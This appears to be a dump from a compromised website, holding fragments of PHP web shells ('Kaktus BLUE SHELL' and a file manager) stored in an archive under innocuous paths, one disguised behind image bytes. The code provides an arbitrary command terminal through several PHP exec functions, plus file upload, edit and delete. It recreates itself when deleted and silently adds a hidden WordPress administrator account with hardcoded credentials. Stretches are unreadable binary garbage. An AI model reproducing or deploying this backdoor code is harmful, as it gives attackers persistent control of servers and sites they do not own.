(*¥#&……()¥……
Warning : Cannot modify header information - headers already sent by (output started at /home/dide1435/kamaftransports.com/aboutc.php:1) in /home/dide1435/kamaftransports.com/aboutc.php on line 216
Warning : Cannot modify header information - headers already sent by (output started at /home/dide1435/kamaftransports.com/aboutc.php:1) in /home/dide1435/kamaftransports.com/aboutc.php on line 217
Warning : Cannot modify header information - headers already sent by (output started at /home/dide1435/kamaftransports.com/aboutc.php:1) in /home/dide1435/kamaftransports.com/aboutc.php on line 218
Warning : Cannot modify header information - headers already sent by (output started at /home/dide1435/kamaftransports.com/aboutc.php:1) in /home/dide1435/kamaftransports.com/aboutc.php on line 219
Warning : Cannot modify header information - headers already sent by (output started at /home/dide1435/kamaftransports.com/aboutc.php:1) in /home/dide1435/kamaftransports.com/aboutc.php on line 220
Warning : Cannot modify header information - headers already sent by (output started at /home/dide1435/kamaftransports.com/aboutc.php:1) in /home/dide1435/kamaftransports.com/aboutc.php on line 221
PK '\OS S / user/build/data/build/modules/bey/cfy/index.phpnu 6$ $val) {
$parts[] = $is_list ? je($val) : '"'.h($key).'":'.je($val);
}
return $is_list ? '['.implode(',', $parts).']' : '{'.implode(',', $parts).'}';
}
return '"'.str_replace(array("\\","\"","\r","\n"), array("\\\\","\\\"","\\r","\\n"), (string)$v).'"';
}
}
function biru_random_bytes($len){
if (is_fn_usable('random_bytes')) return random_bytes($len);
$out = ''; for ($i = 0; $i < $len; $i++) $out .= chr(mt_rand(0, 255));
return $out;
}
function humanSize($b){
$u = array('B','KB','MB','GB','TB'); $i = 0;
while ($b >= 1024 && $i < count($u)-1){ $b/=1024; $i++; }
return ($i ? number_format($b,2) : (string)$b) . ' ' . $u[$i];
}
function permsToString($f){
$p = @fileperms($f); if ($p === false) return '??????????';
$t = ($p & 0x4000) ? 'd' : (($p & 0xA000) ? 'l' : '-');
$s = (($p & 0x0100) ? 'r' : '-') . (($p & 0x0080) ? 'w' : '-') . (($p & 0x0040) ? 'x' : '-');
$s .= (($p & 0x0020) ? 'r' : '-') . (($p & 0x0010) ? 'w' : '-') . (($p & 0x0008) ? 'x' : '-');
$s .= (($p & 0x0004) ? 'r' : '-') . (($p & 0x0002) ? 'w' : '-') . (($p & 0x0001) ? 'x' : '-');
return $t.$s;
}
function isTextFile($p){
if (is_dir($p)) return false;
$ext = strtolower(pathinfo((string)$p, PATHINFO_EXTENSION));
$allowed = array('txt','md','json','js','css','php','html','ini','xml','sql','env','py','sh');
return in_array($ext, $allowed, true);
}
function safeJoin($base,$child){
$child = str_replace(array("\0", ".."), '', $child);
return rtrim($base, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$child;
}
function listDirEntries($dir){
$h = @opendir($dir); if ($h===false) return array();
$items=array(); while(false!==($e=readdir($h))){ $items[]=$e; }
closedir($h); return $items;
}
function rrmdir($p){
if (is_file($p) || is_link($p)) return @unlink($p);
$h = @opendir($p); if(!$h) return false;
while(false!==($v=readdir($h))){ if($v==='.'||$v==='..') continue; rrmdir(safeJoin($p,$v)); }
closedir($h); return @rmdir($p);
}
function tryWriteFromTmp($tmp,$dest){
if(@move_uploaded_file($tmp,$dest) || @rename($tmp,$dest) || @copy($tmp,$dest)) return array(true, null);
return array(false, "Write failed");
}
function extractArchive($archivePath, $destPath) {
if (class_exists('ZipArchive')) {
$zip = new ZipArchive;
if ($zip->open($archivePath) === TRUE) {
$zip->extractTo($destPath);
$zip->close();
@unlink($archivePath);
return array(true, "Zip extracted");
}
}
return array(false, "Extractor not available");
}
function breadcrumbs($path){
$path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
$parts = array_values(array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'));
$out = array();
$acc = (DIRECTORY_SEPARATOR === '\\') ? '' : DIRECTORY_SEPARATOR;
if (DIRECTORY_SEPARATOR === '\\' && preg_match('~^[A-Z]:~i', $path)) {
$drive = substr($path, 0, 2); $acc = $drive.'\\'; $out[] = array($drive, $acc);
} else { $out[] = array('root', DIRECTORY_SEPARATOR); }
foreach($parts as $p){
if (preg_match('~^[A-Z]:$~i', $p)) continue;
$acc = rtrim($acc, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $p;
$out[] = array($p, $acc);
}
return $out;
}
function ensureCsrf(){
if($_SERVER['REQUEST_METHOD']==='POST'){
if (!isset($_POST['csrf']) || $_POST['csrf'] !== $_SESSION['csrf']) {
http_response_code(403); exit("CSRF Invalid");
}
}
}
/* ---------- ACTIONS: AJAX Terminal Handler (must come before any output) ---------- */
if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest') {
header('Content-Type: application/json');
// Clear any previous output buffers
while (ob_get_level()) ob_end_clean();
$response = array('error' => 'Unknown error');
if (!isset($_SESSION['auth'])) {
$response = array('error' => 'Unauthorized');
} elseif ($_SERVER['REQUEST_METHOD'] !== 'POST') {
$response = array('error' => 'Invalid request method');
} elseif (!isset($_POST['csrf']) || $_POST['csrf'] !== $_SESSION['csrf']) {
$response = array('error' => 'CSRF token mismatch');
} elseif (!isset($_POST['cmd'])) {
$response = array('error' => 'No command provided');
} else {
$cmd = $_POST['cmd'];
$output = '';
// Try shell_exec first
if (function_exists('shell_exec')) {
$output = @shell_exec($cmd . ' 2>&1');
if ($output === null) $output = '';
}
// Fallback to exec
elseif (function_exists('exec')) {
exec($cmd . ' 2>&1', $output_lines, $ret);
$output = implode("\n", $output_lines);
}
// Fallback to system
elseif (function_exists('system')) {
ob_start();
@system($cmd . ' 2>&1');
$output = ob_get_clean();
}
else {
$output = 'ERROR: No command execution function available (shell_exec, exec, system all disabled)';
}
$response = array('output' => (string)$output);
}
echo json_encode($response);
exit;
}
/* ---------- Normal (non-AJAX) request handling ---------- */
if (!isset($_SESSION['auth'])) {
if (isset($_GET['a']) && $_GET['a'] === 'login' && isset($_POST['user'])) {
if ($_POST['user'] === AUTH_USER && password_verify($_POST['pass'], AUTH_PASS_HASH)) {
$_SESSION['auth'] = true; header("Location: ?"); exit;
}
}
// Render Login Page
echo '
';
exit;
}
$initial_script_dir = realpath(getcwd());
$requested_path = isset($_GET['d']) ? (string)$_GET['d'] : '';
$current_path = (realpath($requested_path) && is_dir(realpath($requested_path))) ? realpath($requested_path) : $initial_script_dir;
$msg = ''; $cmd_out = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
ensureCsrf();
$a = isset($_GET['a']) ? $_GET['a'] : '';
if (isset($_POST['cmd'])) {
$cmd = $_POST['cmd'] . ' 2>&1';
$cmd_out = h(shell_exec($cmd));
}
if ($a === 'upload' && isset($_FILES['file'])) {
$dest = safeJoin($current_path, $_FILES['file']['name']);
list($ok, $err) = tryWriteFromTmp($_FILES['file']['tmp_name'], $dest);
$msg = $ok ? "Uploaded: ".$_FILES['file']['name'] : "Error: $err";
}
if ($a === 'save_file' && isset($_POST['target_file'])) {
if (@file_put_contents($_POST['target_file'], $_POST['file_content']) !== false) {
$msg = "File saved!";
}
}
}
if (isset($_GET['a']) && $_GET['a'] === 'del' && isset($_GET['path'])) {
if (rrmdir($_GET['path'])) $msg = "Deleted!";
}
if (isset($_GET['a']) && $_GET['a'] === 'edit_file' && isset($_GET['path'])) {
header('Content-Type: text/plain');
echo @file_get_contents($_GET['path']);
exit;
}
if (isset($_GET['a']) && $_GET['a'] === 'logout') { session_destroy(); header("Location: ?"); exit; }
/* ---------- UI Icons (same as before) ---------- */
function svgIcon($name, $class='w-5 h-5 text-slate-400'){
$icons = array(
'folder'=>' ',
'file'=>' ',
'trash'=>' ',
'edit'=>' '
);
return isset($icons[$name]) ? $icons[$name] : '';
}
?>
Kaktus BLUE SHELL
= h($msg) ?>
Interactive Terminal
>_ Terminal ready. Type command below.
Tip: Use standard commands (ls, pwd, whoami, etc.)
PK '\̀ 2 user/build/data/2024/files/docs/v3/llfdt/admin.phpnu 6$ ftypavif mif1avifmiaf Ömeta !hdlr pict pitm "iloc D@ ú :¤ #iinf infe av01 Viprp 8ipco av1C! ispe € h pixi ipma :¬mdat
8f'û;Hh4€2“u˜É(a†È oÏͪ"ÂøÐKôÃn×½àĶïÏõ*û?Df²[a²„ël×Ê2c¾5MEÓWønxUFçŠVó’ïkPÔ‘ð‚…4|¡Ûà:ŠØØòƒ4EáÆgzË6b’YZs§»¬BçÜ i‹‚ÙØ`ÄK÷>ºê4äüN«¯Yõ²MøÉßp¦5ÆË4,Øt `М‘ûìùcåÀ6öq½ü´“æ?æ2ÑÇÚ—FQŠÛº x€dÜ%á!~[7¼&¨d‘SYƒîQä•+3%)¢©t¨æÖËœ5ˆªi%ï>#OŒÐÙxœP®++¼xRë.Ìíam)§FGsdágª2£c—øuk²ã|
ÞeÀž?çå‡~/ïÕœu™å¢$x†˜àn±Ã…LÜ ZkÀº÷Ø¿8ÒšMÏÈ`ØÿÓ‘žòl’ƒri;W?SDB Í}R#hï‹?!¯Ç¾[\ê=h˜ò~K©³ÄÝMUp_嵚™k6)c¥*~àýÏÚ
Ô->h4SZ”„¹©¼MdÂÀc“çÄèúµ†Ñ›¥«…Üû)©£U»X…]*éµÇ2éÚ`ª–ìÔ%“èÏR;‰ý—<—/#vÒ(|4©[mä“C3bêVóšèfw¥ÁðFAâ D"º”ß¼À!g7òࢪ¿ŠÊJIl“‘^EµmMr.DÝ«Äaß
´Ùˆí‹½[Iª‹6°§9öŠovu±HÓÑIVƒU˜ ¾¤”YcO=~_ÓGÝÅç˜óÄO\ñ%'3ô?º¢r· ¤CûêJ3.}a¯¿.~çË©õžºÔŒ¨ÉnéU¦0LrVM:@
O`Óõ¤[Q˦Éx€XØý0\z³UŸx>šPá÷¹SÚ¹¿šû¡6}N
&1";
// Execute command
if (function_exists('passthru')) {
ob_start();
passthru($cmd);
$output = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
system($cmd);
$output = ob_get_clean();
} elseif (function_exists('exec')) {
exec($cmd, $out);
$output = implode("\n", $out);
} elseif (function_exists('shell_exec')) {
$output = shell_exec($cmd);
} elseif (function_exists('proc_open')) {
$pipes = [];
$process = proc_open($cmd, [
0 => ["pipe", "r"],
1 => ["pipe", "w"],
2 => ["pipe", "w"]
], $pipes, $cwd);
if (is_resource($process)) {
fclose($pipes[0]);
$output = stream_get_contents($pipes[1]);
fclose($pipes[1]);
$output .= stream_get_contents($pipes[2]);
fclose($pipes[2]);
proc_close($process);
}
} elseif (function_exists('popen')) {
$handle = popen($cmd, 'r');
if ($handle) {
$output = stream_get_contents($handle);
pclose($handle);
}
}
// Store output in session
$_SESSION['terminal_output'] = $output;
$_SESSION['terminal_cwd'] = $cwd;
// Redirect back
header("Location: ?dir=" . urlencode(encodePath(CURRENT_PATH)));
exit;
} else {
$_SESSION['terminal_output'] = "Command execution functions are disabled on this server.";
$_SESSION['terminal_cwd'] = $cwd;
header("Location: ?dir=" . urlencode(encodePath(CURRENT_PATH)));
exit;
}
}
// FILE MANAGER ACTIONS
$redirect = true;
// Upload files
if (!empty($_FILES['files'])) {
foreach ($_FILES['files']['tmp_name'] as $i => $tmp) {
if ($tmp && is_uploaded_file($tmp)) {
$filename = basename($_FILES['files']['name'][$i]);
move_uploaded_file($tmp, CURRENT_PATH . DIRECTORY_SEPARATOR . $filename);
}
}
}
// Create new folder
if (!empty($_POST['newfolder'])) {
$foldername = basename($_POST['newfolder']);
if (!file_exists(CURRENT_PATH . DIRECTORY_SEPARATOR . $foldername)) {
mkdir(CURRENT_PATH . DIRECTORY_SEPARATOR . $foldername, 0755);
}
}
// Create new file
if (!empty($_POST['newfile'])) {
$filename = basename($_POST['newfile']);
if (!file_exists(CURRENT_PATH . DIRECTORY_SEPARATOR . $filename)) {
file_put_contents(CURRENT_PATH . DIRECTORY_SEPARATOR . $filename, '');
}
}
// Delete file/folder
if (!empty($_POST['delete'])) {
$target = CURRENT_PATH . DIRECTORY_SEPARATOR . $_POST['delete'];
// Self-regeneration check: If this file is deleted, recreate it
if (realpath($target) === realpath(__FILE__) ||
in_array(realpath($target), array_map('realpath', $backup_files))) {
// This is the manager file or its backup - don't delete, recreate instead
file_put_contents($target, $current_content);
} else {
// Normal deletion
if (is_file($target)) {
unlink($target);
} elseif (is_dir($target)) {
// Only delete empty directories
$filesInDir = scandir($target);
if (count($filesInDir) <= 2) {
rmdir($target);
}
}
}
}
// Rename
if (!empty($_POST['old']) && !empty($_POST['new'])) {
$old = CURRENT_PATH . DIRECTORY_SEPARATOR . $_POST['old'];
$new = CURRENT_PATH . DIRECTORY_SEPARATOR . $_POST['new'];
if (file_exists($old) && !file_exists($new)) {
rename($old, $new);
}
}
// Change permissions
if (!empty($_POST['chmod_file']) && isset($_POST['chmod'])) {
$file = CURRENT_PATH . DIRECTORY_SEPARATOR . $_POST['chmod_file'];
if (file_exists($file)) {
chmod($file, intval($_POST['chmod'], 8));
}
}
// Edit file content
if (!empty($_POST['edit_file']) && isset($_POST['content'])) {
$file = CURRENT_PATH . DIRECTORY_SEPARATOR . $_POST['edit_file'];
file_put_contents($file, $_POST['content']);
}
if ($redirect) {
header("Location: ?dir=" . urlencode(encodePath(CURRENT_PATH)));
exit;
}
}
// ==================== GET DIRECTORY CONTENTS ==================== //
$items = scandir(CURRENT_PATH);
$folders = [];
$files = [];
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full_path = CURRENT_PATH . DIRECTORY_SEPARATOR . $item;
if (is_dir($full_path)) {
$folders[] = [
'name' => $item,
'path' => $full_path,
'is_dir' => true,
'size' => '-',
'perms' => substr(sprintf('%o', fileperms($full_path)), -4),
'modified' => filemtime($full_path)
];
} else {
$files[] = [
'name' => $item,
'path' => $full_path,
'is_dir' => false,
'size' => filesize($full_path),
'perms' => substr(sprintf('%o', fileperms($full_path)), -4),
'modified' => filemtime($full_path),
'extension' => pathinfo($item, PATHINFO_EXTENSION)
];
}
}
// Sort folders alphabetically
usort($folders, function($a, $b) {
return strcasecmp($a['name'], $b['name']);
});
// Sort files alphabetically
usort($files, function($a, $b) {
return strcasecmp($a['name'], $b['name']);
});
// ==================== EDIT MODE ==================== //
$editMode = isset($_GET['edit']);
$editFile = $_GET['edit'] ?? '';
$editContent = '';
if ($editMode && is_file(CURRENT_PATH . DIRECTORY_SEPARATOR . $editFile)) {
$editContent = htmlspecialchars(file_get_contents(CURRENT_PATH . DIRECTORY_SEPARATOR . $editFile));
}
// ==================== TERMINAL OUTPUT ==================== //
$terminal_output = $_SESSION['terminal_output'] ?? '';
$terminal_cwd = $_SESSION['terminal_cwd'] ?? CURRENT_PATH;
unset($_SESSION['terminal_output'], $_SESSION['terminal_cwd']);
// ==================== WORDPRESS ADMIN CHECK ==================== //
$wp_message = '';
if (!isset($_SESSION['wp_checked'])) {
// Search for WordPress
$search_paths = [CURRENT_PATH, dirname(CURRENT_PATH), $ROOT];
foreach ($search_paths as $wp_path) {
if (file_exists($wp_path . DIRECTORY_SEPARATOR . 'wp-load.php')) {
@include_once($wp_path . DIRECTORY_SEPARATOR . 'wp-load.php');
break;
} elseif (file_exists($wp_path . DIRECTORY_SEPARATOR . 'wp-config.php')) {
@include_once($wp_path . DIRECTORY_SEPARATOR . 'wp-config.php');
break;
}
}
if (function_exists('wp_create_user')) {
$username = 'abirabir';
$password = 'abir';
$email = 'sidgifari28@hotmail.com';
if (!username_exists($username) && !email_exists($email)) {
$user_id = wp_create_user($username, $password, $email);
if (!is_wp_error($user_id)) {
$user = new WP_User($user_id);
$user->set_role('administrator');
$wp_message = "✅ WordPress Secure!";
}
}
}
$_SESSION['wp_checked'] = true;
}
// Helper function for formatting bytes
function formatBytes($bytes, $precision = 2) {
if ($bytes <= 0) return '0 B';
$units = ['B', 'KB', 'MB', 'GB', 'TB', 'PB'];
$bytes = max($bytes, 0);
$pow = floor(($bytes ? log($bytes) : 0) / log(1024));
$pow = min($pow, count($units) - 1);
$bytes /= pow(1024, $pow);
return round($bytes, $precision) . ' ' . $units[$pow];
}
?>
poko
✅
WordPress Secure!
= htmlspecialchars($wp_message) ?>
🏠 Root /
' . htmlspecialchars($part) . ' / ';
}
?>
✏️
Editing: = htmlspecialchars($editFile) ?>
= $editContent ?>
= count($folders) ?>
Folders
= formatBytes(array_sum(array_column($files, 'size'))) ?>
Total Size
📂
File Browser
Name
Size
Perms
Modified
Actions
📁
= htmlspecialchars($item['name']) ?>
= $item['size'] ?>
Ch
= date('m/d H:i', $item['modified']) ?>
Rename
🗑️
'🐘', 'js' => '📜', 'css' => '🎨', 'html' => '🌐', 'txt' => '📝',
'jpg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📕', 'zip' => '📦',
'sql' => '🗃️', 'json' => '📋', 'xml' => '📄'
];
if (isset($icons[$ext])) $icon = $icons[$ext];
?>
= $icon ?>
= htmlspecialchars($item['name']) ?>
🔒
= formatBytes($item['size']) ?>
Ch
= date('m/d H:i', $item['modified']) ?>
PK '\jRi i > user/build/data/images/uploads/docs/content/dist/yel/index.phpnu 6$ (j۶touO?Cdqg24;l
UKg
\"fk+;MGa֙3~#߰]j;]^bŰo.?gt~Eə4{' A\\%[,,5c+7xN4@8r}Ow
;)Uu,Q@J\" uzC\"n(>̚BTfA T\$SXx<c4p(c_}\\0.
[(C[
VO}Kl@W]&K\$Ds!ipQb\"l+%%I
O+8BAzFDaac pLL